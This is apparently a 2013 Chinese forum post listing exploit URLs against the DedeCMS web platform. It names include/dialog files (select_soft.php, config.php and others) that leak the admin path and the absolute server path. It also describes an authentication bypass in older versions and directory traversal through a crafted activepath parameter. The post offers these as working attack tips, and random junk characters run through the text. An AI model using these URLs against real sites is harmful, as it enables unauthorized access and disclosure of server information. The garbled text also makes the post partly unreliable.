1.include/dialog/select_soft.php文件可以爆出DEDECMS的后台,以前的老板本可以跳过登陆验证直接访问,无需管理3 y: \) W2 n7 X) w% y: n' s
4 C5 J' @1 P! ` {/ p员帐号,新版本的就直接转向了后台.
1 Z7 i( `$ e# r- r# \( F+ w/ x! B
2.include/dialog/config.php会爆出后台管理路径
# }1 [6 P! C g7 A5 Y. L8 J" n; j/ E& H$ H
3.include/dialog/select_soft.php?activepath=/include/FCKeditor 跳转目录
9 s1 u7 ^3 l0 s5 r, J. Q! U5 b
$ Q3 w: `8 U' ]% Y4.include/dialog/select_soft.php?activepath=/st0pst0pst0pst0pst0pst0pst0pst0p 爆出网站绝对路径.+ e1 Z% K3 ~2 J+ H" x% W( H
2 r6 O0 A1 i8 G5 D/ L* a" Q5.另外一些低版本的DEDECMS访问这个页面的时候会直接跳过登陆验证,直接显示,而且还可以用/././././././././掉
0 X$ ?- }2 h* X1 D& m1 J" a0 I6 V0 ^
到根目录去.不过这些版本的访问地址有些不同.& D( I' h) U$ K% D# X0 z% w
地址为require/dialog/select_soft.php?activepath=/././././././././7 S4 Q' m4 ~6 P, @: r
+ |$ W2 o1 y6 x0 b% X* o- J/ n
include\dialog\目录下的另外几个文件都存在同一个问题,只是默认设的目录不同.有些可以查看HTML这些文件哦..6 Q8 Z6 o' _: P7 K+ y
存在相同问题的文件还有7 p0 F+ z ]. V; m' x( a6 C
include\dialog\select_images.php; |9 T% G6 z" x
include\dialog\select_media.php
7 R, Z+ m1 `0 _8 p5 d1 Yinclude\dialog\select_templets.php& I! Y; a! |0 K6 C
|
发表于 2013-4-16 16:50:43
收藏
支持
反对